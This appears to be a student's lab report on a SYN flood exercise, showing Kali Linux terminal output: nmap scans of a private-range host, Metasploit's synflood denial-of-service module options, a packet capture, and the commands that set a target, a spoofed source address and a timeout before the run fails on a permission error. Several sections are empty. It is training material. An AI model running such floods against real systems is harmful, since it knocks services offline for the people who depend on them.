

```
syed@kali: ~  
File Actions Edit View Help  
(syed@kali)-[~]  
$ nmap -p 21 10.0.2.15  
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-10-18 23:21 EDT  
Nmap scan report for 10.0.2.15  
Host is up (0.000057s latency).  
  
PORT      STATE SERVICE  
21/tcp    closed ftp  
  
Nmap done: 1 IP address (1 host up) scanned in 0.06 seconds
```

b)

```
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-10-18 23:23 EDT  
Nmap scan report for 10.0.2.15  
Host is up (0.000061s latency).  
All 1000 scanned ports on 10.0.2.15 are in ignored states.  
Not shown: 1000 closed tcp ports (conn-refused)  
  
Nmap done: 1 IP address (1 host up) scanned in 0.04 seconds
```

4)

```

(syed@kali)-[~]
$ msfconsole
Metasploit tip: To save all commands executed since start up to a file, use the
makerc command

      dBBBBBBb  dBBBP dBBBBBBBP dBBBBBBb  .
      '  dB'      BBP
dB'dB'dB' dBBP  dBP  dBP BB
dB'dB'dB' dBP  dBP  dBP BB
dB'dB'dB' dBBBBP dBP  dBBBBBBB

BP

      dBBBBBP dBBBBBBb dBP  dBBBBP dBP dBBBBBB
      .
      |      dB' dBP  dB'.BP
      |      dBBBB' dBP  dB'.BP dBP  dBP
--o--  |      dBP  dBP  dB'.BP dBP  dBP
      |      dBBBBP dBP  dBBBBBP dBBBBBP dBP  dBP

```

```

      o
      .

      To boldly go where no
      shell has gone before

      =[ metasploit v6.4.18-dev ]
-- --=[ 2437 exploits - 1255 auxiliary - 429 post ]
-- --=[ 1471 payloads - 47 encoders - 11 nops ]
-- --=[ 9 evasion ]

Metasploit Documentation: https://docs.metasploit.com/

msf6 >

```

Load synflood

```

msf6 > use auxiliary/dos/tcp/synflood
msf6 auxiliary(dos/tcp/synflood) > show options

```

5) Configure the synflood attack

```
Module options (auxiliary/dos/tcp/synflood):
```

Name	Current Setting	Required	Description
INTERFACE		no	The name of the interface
NUM		no	Number of SYNs to send (else unlimited)
RHOSTS		yes	The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
RPORT	80	yes	The target port
SHOST		no	The spoofable source address (else randomizes)
SNAPLEN	65535	yes	The number of bytes to capture
SPORT		no	The source port (else randomizes)
TIMEOUT	500	yes	The number of seconds to wait for new data

View the full module info with the `info`, or `info -d` command.

```
msf6 auxiliary(dos/tcp/synflood) > █
```

6)

A)

596	97.069101	10.0.2.15	23.219.82.72	TCP	54 49808 → 443 [RST, ACK] Seq=3677 Ack=5788 Win=6
597	98.599747	10.0.2.15	20.189.173.7	TCP	66 49821 → 443 [SYN] Seq=0 Win=65535 Len=0 MSS=14
598	98.695076	20.189.173.7	10.0.2.15	TCP	60 443 → 49821 [SYN, ACK] Seq=0 Ack=1 Win=65535 L
599	98.695183	10.0.2.15	20.189.173.7	TCP	54 49821 → 443 [ACK] Seq=1 Ack=1 Win=65535 Len=0
600	98.695841	10.0.2.15	20.189.173.7	TLSv1.2	285 Client Hello (SNI=mobile.events.data.microsoft
601	98.696698	20.189.173.7	10.0.2.15	TCP	60 443 → 49821 [ACK] Seq=1 Ack=232 Win=65535 Len=
602	98.794623	20.189.173.7	10.0.2.15	TCP	1514 443 → 49821 [PSH, ACK] Seq=1 Ack=232 Win=65535
603	98.794685	10.0.2.15	20.189.173.7	TCP	54 49821 → 443 [ACK] Seq=232 Ack=1461 Win=65535 L
604	98.795156	20.189.173.7	10.0.2.15	TCP	1514 443 → 49821 [ACK] Seq=1461 Ack=232 Win=65535 L
605	98.795156	20.189.173.7	10.0.2.15	TCP	1514 443 → 49821 [ACK] Seq=2921 Ack=232 Win=65535 L
606	98.795156	20.189.173.7	10.0.2.15	TCP	1514 443 → 49821 [ACK] Seq=4381 Ack=232 Win=65535 L
607	98.795189	10.0.2.15	20.189.173.7	TCP	54 49821 → 443 [ACK] Seq=232 Ack=5841 Win=65535 L
608	98.796123	20.189.173.7	10.0.2.15	TLSv1.2	522 Server Hello, Certificate, Certificate Status,
609	98.796156	10.0.2.15	20.189.173.7	TCP	54 49821 → 443 [ACK] Seq=232 Ack=6309 Win=65535 L
610	98.802063	10.0.2.15	20.189.173.7	TLSv1.2	212 Client Key Exchange, Change Cipher Spec, Encry
611	98.802620	20.189.173.7	10.0.2.15	TCP	60 443 → 49821 [ACK] Seq=6309 Ack=390 Win=65535 L
612	98.895481	20.189.173.7	10.0.2.15	TLSv1.2	105 Change Cipher Spec, Encrypted Handshake Messag
613	98.895608	10.0.2.15	20.189.173.7	TCP	54 49821 → 443 [ACK] Seq=390 Ack=6360 Win=65535 L
614	98.896797	10.0.2.15	20.189.173.7	TLSv1.2	512 Application Data
615	98.896857	10.0.2.15	20.189.173.7	TLSv1.2	782 Application Data
616	98.897591	20.189.173.7	10.0.2.15	TCP	60 443 → 49821 [ACK] Seq=6360 Ack=848 Win=65535 L
617	98.897591	20.189.173.7	10.0.2.15	TCP	60 443 → 49821 [ACK] Seq=6360 Ack=1576 Win=65535
618	99.115416	20.189.173.7	10.0.2.15	TLSv1.2	506 Application Data
619	99.115503	10.0.2.15	20.189.173.7	TCP	54 49821 → 443 [ACK] Seq=1576 Ack=6812 Win=65535
620	109.158460	10.0.2.15	23.219.82.59	TCP	54 49813 → 443 [FIN, ACK] Seq=448 Ack=4304 Win=65
621	109.158963	23.219.82.59	10.0.2.15	TCP	60 443 → 49813 [ACK] Seq=4304 Ack=449 Win=65535 L

B

7)

A

B)



C)

Concluding the lab

8)

9)

```
View the full module info with the info, or info -d command.

msf6 auxiliary(dos/tcp/synflood) > set RHOST 10.0.2.15
RHOST => 10.0.2.15
msf6 auxiliary(dos/tcp/synflood) > set RPORT 21
RPORT => 21
msf6 auxiliary(dos/tcp/synflood) > set SHOST 24.185.173.43
SHOST => 24.185.173.43
msf6 auxiliary(dos/tcp/synflood) > set TIMEOUT 20000
TIMEOUT => 20000
msf6 auxiliary(dos/tcp/synflood) > exploit
[*] Running module against 10.0.2.15
SIOCSIFFLAGS: Operation not permitted

[-] Auxiliary failed: RuntimeError eth0: You don't have permission to perform
    this capture on that device (socket: Operation not permitted)
[-] Call stack:
[-]   /usr/share/metasploit-framework/lib/msf/core/exploit/capture.rb:123:in
    `open_live'
[-]   /usr/share/metasploit-framework/lib/msf/core/exploit/capture.rb:123:in
    `open_pcap'
[-]   /usr/share/metasploit-framework/modules/auxiliary/dos/tcp/synflood.rb:4
```

```
1:in `run'
[*] Auxiliary module execution completed
msf6 auxiliary(dos/tcp/synflood) > █
```